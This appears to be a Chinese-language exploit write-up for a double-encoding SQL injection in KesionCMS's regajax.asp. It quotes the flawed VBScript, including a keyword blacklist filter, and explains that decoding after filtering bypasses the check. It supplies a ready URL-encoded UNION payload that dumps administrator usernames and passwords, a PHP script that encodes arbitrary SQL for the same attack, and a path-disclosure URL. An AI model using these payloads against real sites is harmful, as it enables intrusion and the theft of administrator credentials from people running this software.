Class Ajax_Check
Private KS
Private Sub Class_Initialize()
Set KS=New PublicCls
End Sub
Private Sub Class_Terminate()
Set KS=Nothing
End Sub
Public Sub Kesion()

Select Case KS.S(“Action”)
Case “checkusername”
Call CheckUserName()
Case “checkemail”
Call CheckEmail()
Case “checkcode”
Call CheckCode()
Case “getregform”
Call GetRegForm()
Case “getcityoption”
Call getCityOption()
End Select
End Sub

……略去无关代码

Sub getCityOption()
Dim Province,XML,Node
Province=UnEscape(KS.S(“Province”))  //注意这里
Dim RS:Set RS=Server.CreateObject(“ADODB.RECORDSET”)
RS.Open “Select top 200 a.ID,a.City From KS_Province a Inner Join KS_Province b On A.ParentID=B.ID Where B.City=’” & Province & “‘ order by a.orderid,a.id”,conn,1,1
If Not RS.Eof Then
Set XML=KS.RsToXml(Rs,”row”,”")
End If
RS.Close : Set RS=Nothing
If IsObject(XML) Then
For Each Node In XML.DocumentElement.SelectNodes(“row”)
KS.Echo “<option value=”"” & node.SelectSingleNode(“@city”).text &”"”>” & node.SelectSingleNode(“@city”).text &”</option>”
Next
End If
Set XML=Nothing
End Sub
End Class

以上代码中的Province=UnEscape(KS.S(“Province”)) 调用自定义函数KS.S进行过滤，接着又调用UnEscape函数解码！

其中KS.S 函数 与UnEscape函数 原型如下:

Function DelSql(Str)
Dim SplitSqlStr,SplitSqlArr,I
SplitSqlStr=”dbcc|alter|drop|*|and |exec|or |insert|select|delete|update|count |master|truncate|declare|char|mid|chr|set |where|xp_cmdshell”
SplitSqlArr = Split(SplitSqlStr,”|”)
For I=LBound(SplitSqlArr) To Ubound(SplitSqlArr)
If Instr(LCase(Str),SplitSqlArr(I))>0 Then
Die “<script>alert(‘系统警告！\n\n1、您提交的数据有恶意字符” & SplitSqlArr(I) &”;\n2、您的数据已经被记录;\n3、您的IP：”&GetIP&”;\n4、操作日期：”&Now&”;\n                Powered By Kesion.Com!’);window.close();</script>”
End if
Next
DelSql = Str
End Function
‘取得Request.Querystring 或 Request.Form 的值
Public Function S(Str)
S = DelSql(Replace(Replace(Request(Str), “‘”, “”), “”"”, “”))
End Function

这里编码出现混乱，产生了与php的二次编码类似的漏洞，利用比较简单，可以union：

http://localhost/user/reg/regajax.asp?action=getcityoption&province=%2527%2520%2575%256e%2569%256f%256e%2520%2553%2565%256c%2565%2563%2574%2520%2574%256f%2570%2520%2531%2530%2520%2541%2564%256d%2569%256e%2549%2544%252c%2555%2573%2565%2572%254e%2561%256d%2565%2526%2563%2568%2572%2528%2531%2532%2534%2529%2526%2550%2561%2573%2573%2557%256f%2572%2564%2520%2546%2572%256f%256d%2520%254b%2553%255f%2541%2564%256d%2569%256e%2500

上面的利用针对ACCESS，MSSQL需要改下SQL语句：

<?php
$str = “‘ union Select top 10 AdminID,UserName&chr(124)&PassWord From KS_Admin”;
for ($i=0; $i<=strlen($str); $i++){
$temp .= “%25″.base_convert(ord($str[$i]),10,16);
}
echo $temp.”0″;
?>

修改’ union Select top 10 AdminID,UserName&chr(124)&PassWord From KS_Admin为相应的SQL语句即可。（MSSQL直接备份差异比较方便）

因为解码的时候进行了CLng类型转换，提交字符可以使其报错从而爆出物理路径
爆物理路径:http://localhost/user/reg/regajax.asp?action=getcityoption&province=%25i

上图：